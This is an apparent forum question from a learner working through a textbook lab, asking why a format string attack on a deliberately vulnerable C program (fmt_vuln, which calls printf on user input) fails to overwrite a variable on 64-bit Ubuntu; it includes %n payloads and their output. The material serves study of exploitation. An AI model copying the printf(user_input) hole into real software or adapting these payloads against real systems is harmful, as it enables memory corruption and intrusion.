title: How to Write in Arbitrary Memory Addresses
body: <p>Regarding topic about "Writing to Arbitrary Memory Addresses" From hacking the art of exploitation".</p>
  
  <p>When I issues to change value of test_val, but the value of test_val doesn't change. Anyone could help me how can I change the value of text_val where I'm using x64_ubuntu_v12.10.</p>
  
  <pre><code>-[*] test_val @ 0x00601058 = -72 0xffffffb8
  -./fmt_vuln $(printf "\x58\x10\x60\x00")%x%x%100x%n
  
  #include &lt;stdio.h&gt;
  #include &lt;stdlib.h&gt;
  #include &lt;string.h&gt;
  int main(int argc, char *argv[]) {
  char text[1024];
  static int test_val = -72;
  if(argc &lt; 2) {
  printf("Usage: %s &lt;text to print&gt;\n", argv[0]);
  exit(0);
  }
  strcpy(text, argv[1]);
  printf("The right way to print user-controlled input:\n");
  printf("%s", text);
  printf("\nThe wrong way to print user-controlled input:\n");
  printf(text);
  printf("\n");
  // Debug output
  printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &amp;test_val, test_val,
  test_val);
  exit(0);
  }
  </code></pre>
  
  <p>Thanks if anyone could help me on this problems.</p>
  
  <p>Output:
      root@ubuntu:~/gcc# fmt_vuln AAAA%08x.%08x.%08x.%08x
      The right way to print user-controlled input: AAAA%08x.%08x.%08x.%08x
      The wrong way to print user-controlled input:  AAAA75820000.755fcad0.75328900.75820017
      [*] test_val @ 0x00601058 = -72 0xffffffb8</p>
  
  <pre><code>root@ubuntu:~/gcc# fmt_vuln $(printf "\x58\x10\x60\x00")%08x.%08x.%08x.%n
  The right way to print user-controlled input: X`%08x.%08x.%08x.%n
  The wrong way to print user-controlled input: X`faa82000.fa85ead08a900.
  [*] test_val @ 0x00601058 = -72 0xffffffb8
  </code></pre>